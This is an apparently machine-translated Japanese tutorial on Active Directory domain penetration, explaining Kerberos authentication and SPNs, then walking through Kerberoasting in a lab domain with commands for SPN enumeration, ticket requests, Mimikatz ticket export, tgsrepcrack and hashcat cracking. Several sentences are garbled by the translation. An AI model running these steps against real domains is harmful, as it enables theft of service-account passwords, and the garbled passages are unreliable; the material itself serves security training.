0x00ドメイン侵入 - ケルベロス
1。 Kerberosの紹介
Kerberos認証では、主な問題は「あなたはあなた」を証明する方法です。たとえば、クライアントがサーバーサーバー上のサービスにアクセスすると、サーバーがホストのサービスにアクセスする許可があるかどうかをサーバーがどのように判断し、同時にこのプロセスの通信コンテンツが傍受または改ざんされていても通信のセキュリティに影響を与えないようにします。これは、Kerberosによって解決された問題です。 Kerberosプロトコルの攻撃と防御も、ドメイン浸潤プロセス中に非常に重要です。
2.KERBEROSプロトコルフレームワーク
Kerberosプロトコルには3つの主要な役割があります。
クライアントが提供するサービスを提供するServerKDC(Key Distribution Center)キーディストリビューセンター。 KDCサービスは、デフォルトでドメインにドメインコントロールにインストールされ、クライアントとサーバーはHTTPサービスやSQLサービスなどのドメイン内のユーザーまたはサービスです。クライアントがKerberosのサーバーサービスにアクセスする許可を持っているかどうかは、KDCが発行した領収書によって決定されます。
Kerberosのチケットが列車のチケットと比較される場合、クライアント側は乗客であり、サーバー側は列車、KDCはステーションの認定システムです。クライアント側のチケットが合法であり(自分のIDカードで購入してお客様が保有)、サーバー側のサービスにアクセスする権利がある場合(チケットは正しい列車番号に対応)、バスに乗ることができます。もちろん、列車のチケットとは違うのは、Kerberosに2つのチケットがあり、最初から最後まで列車のチケットが1つしかないことです。
上記の図から、KDCは2つの部分に分割されていることがわかります。
認証サーバー:ASの機能は、クライアントのIDを確認する機能(あなたがIDカードの人物であることは確かです)。確認に合格すると、クライアントにTGT(チケット付与チケット)チケットを渡します。
チケット付与サーバー:TGSの機能は、サーバー側(ボード上のチケットST)にアクセスするためにチケットを交換するために、クライアントに送信されるチケット(TGT)を交換することです。 ST(Serviceticket)はTGSチケットとも呼ばれます。 TGSと区別するために、ここではSTが説明するために使用されます。
KDCサービスフレームワークには、ドメインを作成するときにシステムによって自動的に作成されたアカウントであるKRBTGTアカウントが含まれています。ログインできないアカウントであることは一時的に理解できます。
3.Kerberos認定
プロセスクライアントがサーバー上のサービスにアクセスしたい場合、最初にASに対するIDを証明し、次にASが発行したTGTを介してサーバーに認証要求を開始する必要があります。このプロセスは3つの部分に分かれています。
認証サービス交換:クライアントとASの間の相互作用
チケット栽培サービス(TGS)交換:クライアントとTGSの相互作用
クライアント/サーバー認証交換:クライアントとサーバー間の相互作用
(1)TheAuthentication Service ExchangeKrb_as_req
クライアント-AS:authenticator1を送信(クライアントパスワード暗号化タイムスタンプ)
最初のステップは、クライアントがAuthenticator1をKDCのASに送信することです。これは、クライアントパスワードハッシュを介して暗号化されたタイムスタンプ、ClientID、ネットワークアドレス、暗号化タイプ、その他のコンテンツです。
krb_as_rep
AS-クライアント:SESSIONKEY-ASを送信し、クライアントパスワードTGT(krbtgt hash暗号化されたsessionkey-asとタイムスタンプ)によって暗号化されたチケットを送信します)
ドメイン内のすべてのユーザーのパスワードハッシュは、KDCに保存されます。 ASがクライアントの要求を受信すると、KDCに保存されているパスワードに基づいて復号化され、復号化が成功し、情報が検証されます。検証が成功した後、クライアントSessionKey-Asに戻り、クライアントパスワードHash(SessionKey-ASとKrbtgt Hashによって暗号化されたタイムスタンプ)によって暗号化されます。
(2)Theticket-Granting Service(TGS)ExchangeKrb_tgs_req
クライアント-tgsは、authenticator2(sessionkey-as as as as as as as as as as as amestamp)とチケットTgt(krbtgt hash sessionkey-asとタイムスタンプを送信します)
クライアントが暗号化されたSessionKey-ASとTGTを受信した後、独自のパスワードを使用してSessionKey-Asを復号化します。 TGTはKDCパスワードによって暗号化されており、クライアントはそれを解読できません。この時点で、クライアントはSessionKey-Asを使用してTimestampとTGTを暗号化して、サーバーにアクセスできるチケットのTGS(TicketGranting Server)チケット承認サーバーに送信します。
krb_tgs_rep
TGS-クライアントSEND CIPHERTEXT 1(SESSIONKEY-AS AS AS AS AS AS ANS CESSIONKEY-TGS)
TGSがクライアントから送信されたTGTおよびSessionKey-Asの暗号化されたタイムスタンプを受け取った後、最初にクライアントが要求したサービスが存在するかどうかを確認します。サービスが存在する場合は、KRBTGTパスワードでTGTを復号化します。一般に、TGSはTGTのタイムスタンプをチェックして、TGTの有効期限が切れるかどうか、元のアドレスがTGTで保存されたアドレスと同じかどうかを確認します。検証が成功した後、SessionKey-ASで暗号化されたSessionKey-TGSとサーバーパスワードハッシュで暗号化されたSessionKey-TGSがクライアントに送信されます。
(3)theclient/server認証exchangekrb_ap_req
client -server sendeunitiescator3(sessionkey-tgs暗号化タイムスタンプ)とチケットST(サーバーパスワードハッシュ暗号化sessionkey-tgs)
クライアントは、暗号化されたSESSIONKEY-TGSおよびサーバーパスワードとしてSESSIONKEY-KEY-KEY-KEY-KEY-TGSを暗号化したHash-Key-Key-As SessionKey-Tgsを復号化し、SessionKey-TGSの暗号化されたタイムスタンプとSTを一緒にサーバーに送信します。
krb_ap_rep
サーバー - クライアント
サーバーは独自のパスワードを介してSTを復号化し、SessionKey-TGSを取得します。次に、SessionKey-TGSを使用してAuthenticator3を復号化してタイムスタンプを取得すると、検証が正しく、検証の成功に戻ります。
0x01ドメイン浸透SPN
1。 SPNの紹介
サービスプリンシパル名(SPN:ServicePrincipal名)は、サービスインスタンスの一意の識別子です(HTTP、MSSQLなどのサービスとして理解できます)。 Kerberos AuthenticationはSPNを使用して、サービスインスタンスをサービスログインアカウントに関連付けます。森林またはドメイン全体のコンピューターに複数のサービスインスタンスがインストールされている場合、各インスタンスには独自のSPNが必要です。クライアントが複数の名前で認証できる場合、特定のサービスインスタンスには複数のSPNを持つことができます。 SPNには常にサービスインスタンスを実行しているホストの名前が含まれているため、サービスインスタンスはホストの各名前またはエイリアスのSPNを登録できます。
Kerberosプロトコルを使用してサービスを認証する場合は、SPNを正しく構成する必要があります。
2.SPN形式と構成
SPN構文には4つの要素があり、2つの要素と2つの追加要素があり、合計は必要な要素です。
ServiceClass/host:port/service name
サービスクラス:文字列識別サービスクラス
ホスト:サービスが配置されているホストの名前
ポート:サービスポート
サービス名:サービス名
例:
SQL ServerサービスアカウントにSPNを登録します
手動登録:
setSpn -a mssqlsvc/myhost.redmond.microsoft.com:1433 accountname
対応する名前のインスタンス:
setSpn -a mssqlsvc/myhost.redmond.microsoft.com/instancename accountname
MSSQLサービスをドメインのホストであるSRV-DB-0dayでSPNに登録したい場合は、コマンドを使用できます。
setSpn -a mssqlsvc/srv-db-0day.oday.org33601433 sqladmin
次の2つのコマンドを使用して、登録されたSPNを表示できます。
setspn -q */*
setspn -t 0day.org -q */*
3.SPNスキャン
KerberosとSPNを理解した後、SPNを使用して必要な情報を取得できます。たとえば、ドメイン内のどのホストがインストールされているかを知りたい場合は、ネットワークポートのバッチをスキャンする必要はありません。通常、大規模なドメインには複数のサービス登録SPNがあるため、ドメイン内のサービスは「SPNスキャン」を通じて表示できます。通常のネットワークポートスキャンよりも利点は、サービスホストとの直接接続を必要とせず、より隠されていることです。
4.スカンツール
getuserspns
getUserSpnsは、ドメイン内の登録SPNSをクエリするように設定されたKerberoastツールのPowerShellスクリプトです。
import-module。\ getUserspns.ps1
powerView
PowerViewは、Will Schroeder(https://twitter.com/harmj0y)によって開発されたPowerShellスクリプトです。 PowerSploitおよびEmpire Toolsに統合されています。上記と比較して、PowerViewは異なるユーザーのObjectSIDに従って返され、返された情報の詳細がより詳細です。
Import-Module。\ PowerView.ps1
get -netuser -spn
5。原則の説明
スクリプトまたはコマンドを介してイントラネットに登録されているSPNコンテンツに直接アクセスできます。このプロセスの実装方法を理解したい場合は、LDAPプロトコルに言及する必要があります。
LDAPプロトコルのフルネームはLightDirectory Access Protocolであり、通常は軽量ディレクトリアクセスプロトコルに翻訳されています。これは、Active Directoryのクエリと更新に使用されるディレクトリサービス通信プロトコルです。 ADドメインサービスは、LDAPネーミングパスを使用して、AD内のオブジェクトの位置を表すため、AD内のオブジェクトにアクセスするために使用できます。
LDAPデータの編成方法:
より直感的には、LDAPプロトコルは、ドメイン内のホストのさまざまな構成情報を保存するリレーショナルデータベースとして理解できます。
ADSIエディターは、デフォルトでドメインコントロールにインストールされ、フルネームActiveDirectory Service Interfaces Editor(ADSI Edit)があります。これは、ドメインコントロールでADSIEDIT.MSCを実行することで開くことができるLDAPエディターです(サーバーで使用できますが、ドメイン全体に構成情報があるのはドメインコントロールのみです)。
adsiedit.mscを介して、LADPを変更および編集できます。 SPNクエリの場合、実際にはLADPに保存されているコンテンツをクエリしています。
たとえば、実験環境ドメイン0day.orgには、ユーザーSQLSVRを含むOU(管理、金融などの部門として理解できるOU(組織)があります。ユーザー属性からSQLSVRによって登録されているSPNコンテンツを見ることができます。
ホストで実行します
setspn -t 0day.org -q */*
コマンドがドメイン内のSPNをクエリすると、パケットをキャッチすることにより、SPNのコンテンツがLDAPプロトコルを介してドメインコントロールにインストールされたLDAPサービスにクエリされていることがわかります。
図に示すように、ディレクトリはホスト192.168.3.62で実行され、LDAPプロトコルのトラフィックはドメインコントロール192.168.3.142で見ることができます。
クエリの結果はトラフィックになります。
PowerShellスクリプトは、主にLDAPのコンテンツを照会し、返された結果をフィルタリングしてから表示することについてです。
6.KKERBEROSTING
Kerberosの認証プロセスを導入すると、KRB_TGS_REPでは、TGSがクライアントにチケットSTを返し、STはクライアントが要求したサーバーパスワードによって暗号化されると述べられています。 KerberosプロトコルがRC4暗号化のチケットを設定すると、クライアント側で取得したチケットSTを爆破してサーバー側のパスワードを取得できます。
次の図は、Kerberosの暗号化方法を示しています。ドメインのドメイン制御「ローカルセキュリティポリシー」に設定できます。
RC4暗号化を設定します。
設定が完了したら、実行中に「gpupdate」を入力してグループポリシーを更新すると、ポリシーが有効になります。
7. KKERBEROSTING ATTICT MEATH 1
1。SPNは、ホストPC-JackのKerberoastのgetUserSpns.vbsをスキャンします。
cscript getUserspns.vbs
2. Microsoftが提供するKerberosRequestorseCurityTokenを使用して、Kerberosリクエストを開始し、スキャンされた結果に基づいてSTチケットを申請します。
PS C: \ Add -Type -Assemblyname System.IdentityModel
PS C: \ new-Object System.IdentityModel.Tokens.kerberosRequestorseCurityToken -ArgumentList 'MSSQLSVC/SRV-WEB-KIT.ROOTKIT.ORG'
3. Kerberosプロトコルの要求されたチケットはメモリに保存されます。 Klistコマンドを介して現在のセッションに保存されているKerberosチケットを表示できます。
Mimikatzを使用してエクスポートします。
Kerberos:List /Export
KerberoastツールセットでTGSRepCrack.pyツールを使用して、オフラインブラストを実行し、Jerryアカウント管理者のパスワードを正常に取得します!@#45
python2 tgsrepack.py wordlist.txt '1-40a10000-jerry@mssqlsvc~srv-web-kit.rootkit.org-rootkit.org.kirbi'
8. Kkerberosting Attack Method Two
Kerberoasting Attack Methodには、Mimikatzを介した記憶から領収書の輸出が必要です。 Invoke-Kerberoastは、領収書の転送中に元のバイトを抽出し、それらをリッパーのジョンまたはハッシュカットによって直接爆破できる文字列に変換します。
invoke-kerberoastスクリプトを使用します(empireのinvoke-kerberoast.ps1を使用)。
Import-Module Invoke-kerberoast.ps1
invoke -kerberoast -outputformat hashcat | fl
-OutputFormatパラメーターは出力形式を指定でき、ジョン・ザ・リッパーとハッシュカットの2つの形式があります
2。ハッシュカットツールを使用してクラックします。
PSC: hashcat64.exe –M 13100 test1.txt password.list - force
9.Impacket kerberosting
ここでは、TCP、UDP、ICMP、IGMP、ARP、IPv4、IPv6、SMB、MSRPCへの低レベルのプログラミングアクセスを実行するために使用されるImpack Toolkitを使用します。ここでは、このツールを使用してターゲットホストでSPN検出を実行できるGetUSERSPNSツールを使用しています。
https://github.com/secureauthcorp/impacket公式リポジトリ3https://github.com/maaaaz/im
Recommended Comments